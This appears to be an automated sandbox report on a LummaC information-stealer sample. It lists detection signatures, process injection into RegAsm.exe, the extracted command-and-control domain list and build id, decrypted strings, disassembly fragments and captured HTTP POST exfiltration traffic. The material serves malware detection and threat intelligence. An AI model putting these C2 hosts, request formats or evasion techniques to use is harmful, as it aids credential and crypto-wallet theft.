Edit tour

Windows Analysis Report
TS-240622-Lumma4.exe

Overview

General Information

Sample name:	TS-240622-Lumma4.exe
Analysis ID:	1461071
MD5:	1a2a26995d43c4ad2f2c9e9e9373d5c8
SHA1:	bc9592e1846b06b6e770d443c3802a887fb92987
SHA256:	e5fd7cc5b7c23ab6d037e40cd141d49cffe8fdec8c9ce691b6689dfe6222982c
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

TS-240622-Lumma4.exe (PID: 4024 cmdline: "C:\Users\user\Desktop\TS-240622-Lumma4.exe" MD5: 1A2A26995D43C4AD2F2C9E9E9373D5C8)

RegAsm.exe (PID: 7132 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["facilitycoursedw.shop", "doughtdrillyksow.shop", "disappointcredisotw.shop", "bargainnygroandjwk.shop", "injurypiggyoewirog.shop", "leafcalfconflcitw.shop", "computerexcudesp.shop", "publicitycharetew.shop", "composepayyersellew.shop"], "Build id": "LPnhqo--@Kulaytr"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: RegAsm.exe PID: 7132	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: leafcalfconflcitw.shop

Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.TS-240622-Lumma4.exe.ce0000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["facilitycoursedw.shop", "doughtdrillyksow.shop", "disappointcredisotw.shop", "bargainnygroandjwk.shop", "injurypiggyoewirog.shop", "leafcalfconflcitw.shop", "computerexcudesp.shop", "publicitycharetew.shop", "composepayyersellew.shop"], "Build id": "LPnhqo--@Kulaytr"}

Multi AV Scanner detection for domain / URL

Source: facilitycoursedw.shop	Virustotal: Detection: 11%	Perma Link
Source: computerexcudesp.shop	Virustotal: Detection: 9%	Perma Link
Source: leafcalfconflcitw.shop	Virustotal: Detection: 9%	Perma Link
Source: doughtdrillyksow.shop	Virustotal: Detection: 12%	Perma Link
Source: bargainnygroandjwk.shop	Virustotal: Detection: 9%	Perma Link
Source: injurypiggyoewirog.shop	Virustotal: Detection: 9%	Perma Link
Source: publicitycharetew.shop	Virustotal: Detection: 9%	Perma Link
Source: https://composepayyersellew.shop/api	Virustotal: Detection: 9%	Perma Link
Source: disappointcredisotw.shop	Virustotal: Detection: 9%	Perma Link

Multi AV Scanner detection for submitted file

Source: TS-240622-Lumma4.exe	ReversingLabs: Detection: 44%
Source: TS-240622-Lumma4.exe	Virustotal: Detection: 50%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: TS-240622-Lumma4.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: facilitycoursedw.shop
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: doughtdrillyksow.shop
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: disappointcredisotw.shop
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bargainnygroandjwk.shop
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: injurypiggyoewirog.shop
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: leafcalfconflcitw.shop
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: computerexcudesp.shop
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: publicitycharetew.shop
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: composepayyersellew.shop
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000002.00000002.1347719018.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: LPnhqo--@Kulaytr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00416EFA CryptUnprotectData,

2_2_00416EFA

Source: TS-240622-Lumma4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49711 version: TLS 1.2

Source: TS-240622-Lumma4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Code function: 0_2_00D0F352 FindFirstFileExW,

0_2_00D0F352

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00D3A150
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00D3C119
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00D3C119
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+34h]	0_2_00D2E218
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	0_2_00D3A54D
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00D4A601
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 02286B4Eh	0_2_00D60748
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then dec edi	0_2_00D60748
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_00D328E8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi+48h]	0_2_00D4E976
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00D36A03
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_00D4AA03
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00D4AA03
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov ecx, esi	0_2_00D3CBAC
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then jmp ecx	0_2_00D5EB1E
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00D4CCD7
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00D4CCD7
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	0_2_00D3AD98
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000890h]	0_2_00D44D88
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then jmp eax	0_2_00D48D2E
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_00D28E38
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00D4CFD9
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	0_2_00D4CFD9
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then push esi	0_2_00D46F14
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h	0_2_00D410F8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then jmp dword ptr [00442514h]	0_2_00D470B8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00D4D032
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	0_2_00D4D032
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00D4D023
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	0_2_00D4D023
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then xor edx, edx	0_2_00D3B189
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then jmp eax	0_2_00D5F18F
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00D35139
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00D412C8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_00D4B2B8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov edi, edx	0_2_00D5F214
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then inc ebx	0_2_00D39368
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov ebx, eax	0_2_00D294C8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00D574E8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	0_2_00D5F405
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov edi, ebp	0_2_00D278FF
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], B5B385C7h	0_2_00D5F9A8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov edi, dword ptr [esp+04h]	0_2_00D2FCF8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	0_2_00D2FCF8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_00D2FCF8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000094h]	0_2_00D4DC84
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov ecx, dword ptr [esi+20h]	0_2_00D3BC4B
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_00D5FC78
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000094h]	0_2_00D4DC84
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_00D5FE48
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esp+48h]	0_2_00D49E27
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov edi, ebx	0_2_00D45FB6
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 4x nop then mov eax, dword ptr [esi]	0_2_00D43F68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h	2_2_0041B100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+48h]	2_2_004239F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], B5B385C7h	2_2_004399B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then push esi	2_2_00420BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp dword ptr [00442514h]	2_2_00420BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	2_2_00426CDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_00426CDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	2_2_00439C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000094h]	2_2_00427C8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, dword ptr [esp+04h]	2_2_00409D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	2_2_00409D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	2_2_00409D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000890h]	2_2_0041ED19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_00415ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_00415ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042702B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	2_2_0042702B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0042703A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	2_2_0042703A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	2_2_0040F141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	2_2_00414158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor edx, edx	2_2_00415191
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+34h]	2_2_00408220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_004252C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_0041B2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	2_2_00413370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	2_2_00439370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, eax	2_2_004034D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_004314F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	2_2_00414555
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi]	2_2_0041D5A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	2_2_00438670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00438670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, edx	2_2_00438670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	2_2_00438670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	2_2_00424609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 02286B4Eh	2_2_0043A750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then dec edi	2_2_0043A750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	2_2_004387E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_004387E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, edx	2_2_004387E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	2_2_004387E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	2_2_0040C8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+48h]	2_2_0042897E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, ebp	2_2_00401907
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00422920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	2_2_004389D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_004389D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, edx	2_2_004389D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	2_2_004389D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	2_2_00424A0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	2_2_00424A0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	2_2_00410A0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00438B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, edx	2_2_00438B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	2_2_00438B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+20h]	2_2_00415C53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then push esi	2_2_00420C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	2_2_00438CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, edx	2_2_00438CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	2_2_00438CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000094h]	2_2_00427C8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, ebx	2_2_0041FD97
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	2_2_00414DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	2_2_00402E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	2_2_00439E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+48h]	2_2_00423E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00426FE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	2_2_00426FE1

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: facilitycoursedw.shop
Source: Malware configuration extractor	URLs: doughtdrillyksow.shop
Source: Malware configuration extractor	URLs: disappointcredisotw.shop
Source: Malware configuration extractor	URLs: bargainnygroandjwk.shop
Source: Malware configuration extractor	URLs: injurypiggyoewirog.shop
Source: Malware configuration extractor	URLs: leafcalfconflcitw.shop
Source: Malware configuration extractor	URLs: computerexcudesp.shop
Source: Malware configuration extractor	URLs: publicitycharetew.shop
Source: Malware configuration extractor	URLs: composepayyersellew.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: composepayyersellew.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 57Host: composepayyersellew.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12847Host: composepayyersellew.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15079Host: composepayyersellew.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20404Host: composepayyersellew.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7087Host: composepayyersellew.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1244Host: composepayyersellew.shop
